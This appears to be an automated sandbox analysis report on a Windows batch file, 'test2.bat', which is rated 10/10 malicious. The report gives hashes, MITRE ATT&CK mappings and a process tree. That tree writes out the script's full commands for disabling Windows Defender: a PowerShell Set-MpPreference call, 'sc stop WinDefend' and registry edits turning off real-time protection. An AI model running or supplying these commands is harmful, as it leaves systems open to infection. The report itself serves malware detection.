1cab37cabfb1ee68e57bbefd17aa8afe7b6d61f3de8ad976d14eeb20cc7a5b9e

Analysis

max time kernel
121s
max time network
121s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
19/11/2024, 15:14

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General

Target

test2.bat
Size

853B
MD5

1a3dc0421e9078992b3ca8f0297dd6c8
SHA1

f72384f6cc010503b9f2bdb9934a4b64e77168d6
SHA256

1cab37cabfb1ee68e57bbefd17aa8afe7b6d61f3de8ad976d14eeb20cc7a5b9e
SHA512

397db20e2a3318a94e2b3395d03294e1e4e29d5e3cf12dcd9932349b344324ef18ea95460414efef9ab934532e832abf18401f5889ffcb8ef02df2bbb016639d

Score

10^/10

evasion execution trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2396	powershell.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2124	sc.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2396	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2396	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2412 wrote to memory of 1616	2412	cmd.exe	31
PID 2412 wrote to memory of 1616	2412	cmd.exe	31
PID 2412 wrote to memory of 1616	2412	cmd.exe	31
PID 1616 wrote to memory of 1028	1616	net.exe	32
PID 1616 wrote to memory of 1028	1616	net.exe	32
PID 1616 wrote to memory of 1028	1616	net.exe	32
PID 2412 wrote to memory of 2396	2412	cmd.exe	33
PID 2412 wrote to memory of 2396	2412	cmd.exe	33
PID 2412 wrote to memory of 2396	2412	cmd.exe	33
PID 2412 wrote to memory of 2124	2412	cmd.exe	34
PID 2412 wrote to memory of 2124	2412	cmd.exe	34
PID 2412 wrote to memory of 2124	2412	cmd.exe	34
PID 2412 wrote to memory of 780	2412	cmd.exe	35
PID 2412 wrote to memory of 780	2412	cmd.exe	35
PID 2412 wrote to memory of 780	2412	cmd.exe	35
PID 2412 wrote to memory of 2988	2412	cmd.exe	36
PID 2412 wrote to memory of 2988	2412	cmd.exe	36
PID 2412 wrote to memory of 2988	2412	cmd.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\test2.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2412
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1616
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:1028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2396
- C:\Windows\system32\sc.exe
  sc stop WinDefend
  2⤵
  - Launches sc.exe
  PID:2124
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:780
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

memory/2396-4-0x000007FEF55AE000-0x000007FEF55AF000-memory.dmp

Filesize
4KB

Download
memory/2396-5-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download
memory/2396-6-0x0000000001F80000-0x0000000001F88000-memory.dmp

Filesize
32KB

Download
memory/2396-8-0x000007FEF52F0000-0x000007FEF5C8D000-memory.dmp

Filesize
9.6MB

Download
memory/2396-7-0x000007FEF52F0000-0x000007FEF5C8D000-memory.dmp

Filesize
9.6MB

Download
memory/2396-9-0x000007FEF52F0000-0x000007FEF5C8D000-memory.dmp

Filesize
9.6MB

Download
memory/2396-10-0x000007FEF52F0000-0x000007FEF5C8D000-memory.dmp

Filesize
9.6MB

Download